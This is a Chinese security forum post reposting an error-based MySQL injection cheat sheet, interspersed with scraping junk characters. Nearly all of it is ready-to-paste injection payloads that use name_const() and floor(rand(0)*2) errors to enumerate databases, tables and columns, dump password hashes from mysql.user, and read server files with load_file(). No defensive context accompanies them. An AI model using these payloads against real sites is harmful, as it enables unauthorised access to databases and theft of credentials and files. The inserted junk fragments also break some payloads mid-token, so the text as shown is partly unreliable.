找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2102|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
! _! U5 Q% b& ?0 g. e( E8 ~, g* _
' F8 `7 @# l) Z: ?2 q8 G" G) n4 f/ M4 i" ~
Mysql暴错注入参考(pdf),每天一贴。。。" O+ {$ S: e, k9 Z, |3 x3 h
& X# u/ L5 W! Z- j( X! A5 d( e
MySql Error Based Injection Reference
0 B; ]) B" t7 g+ s" Y  _[Mysql暴错注入参考]
; F, S' e( \: {- I4 GAuthornig0s19925 I9 w8 H: `* y9 E2 J2 c
Blog:http://pnig0s1992.blog.51cto.com/
8 N0 G' S5 W" `4 HTeAm:http://www.FreeBuf.com/& x4 C  t+ n! }7 o) S* M0 o! @
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
0 v* j4 p( U" ]: G小部分版本使用name_const()时会报错.可以用给出的Method.2测试
9 J' h% g/ C6 C4 {2 }查询版本:
: D, ]1 b5 l' IMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+% {2 B& e! ^, H0 D
join+(select+name_const(@@version,0))b)c)# g8 |" N+ {. \; S& f1 a
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro0 a% d. U. W! S
up by a)b)/ a2 T1 Y* [- p, W6 |
查询当前用户:( d* J, G4 r% V2 e
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)) ]6 m- H0 c- T6 _$ u3 a
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
# }0 T/ q& k" w+ A" mand(0)*2))x+from+information_schema.tables+group+by+x)a)
6 v) V2 q# ]$ F, o/ Y查询当前数据库:
) C/ n! `1 E- A) P6 t, UMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
4 _0 f' O! i1 A1 _5 n3 vMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo0 A: `) T9 r* Y, ~
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
. x3 G2 o, Y; V1 l1 ^: S( A依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+1 D$ Y' C  S/ o; P7 `, I* W) I$ c' c
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n) ?; w/ o& v/ A& `
顺序替换
( p7 I) y- j9 N) F/ u! e爆指定库数目:
2 ^& j: M7 v. y9 Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
" l# i; R8 ]6 S! {# eable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
! e% h) M3 Z1 f5 @) N. s+by+x)a)+and+1=1 0x6D7973716C=mysql
& l+ {0 t% I$ y) ^& ~依次爆表:& B6 Y/ o9 j: u; c1 z
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t/ a1 M2 C4 `7 k
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
! S, n) d* g" ?2 |4 O4 ^bles+group+by+x)a)+and+1=1  }8 ~4 C& M; Y6 `# r
0x6D7973716C=Mysql 将n顺序替换6 u' `2 u  ^, q  ~' T
爆表内字段数目:6 w% ~8 T# f6 a. {  M- Y
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
: z% F% \. p0 K+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran. m& K- K. K7 o" d
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=17 w0 g( {! |/ z7 t8 g& H; C+ s+ D
依次爆字段:& ^5 l& ]4 T( x" f( U  r
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where% _4 Q. P% M5 i, E" u% C8 F
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
: ]7 z* V" R) Z5 f; V6 bloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
8 D7 u8 z/ n3 h# @& y6 A- r依次暴内容:- F, D0 i+ Y) o. P- i& \
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
/ F* `7 h5 Q0 h* cma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1# ~1 l, x3 ]& D6 G
将n顺序替换
) _: L0 Y5 J9 |- u6 x爆文件内容:6 B" v0 l* }% o( d0 u
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
  ^9 M- b, n- b7 rfrom+information_schema.tables+group+by+a)b)
6 h' V9 A/ B  W5 I. q, F3 _! Y0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
) [# Z& V2 c3 X7 b* k9 F/ [Thx for reading.: x" R- C2 V' l# N& A

; b& g5 V, o$ m) o1 L5 V% [5 g不要下载也可以, , {/ p. B% g; H7 f

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表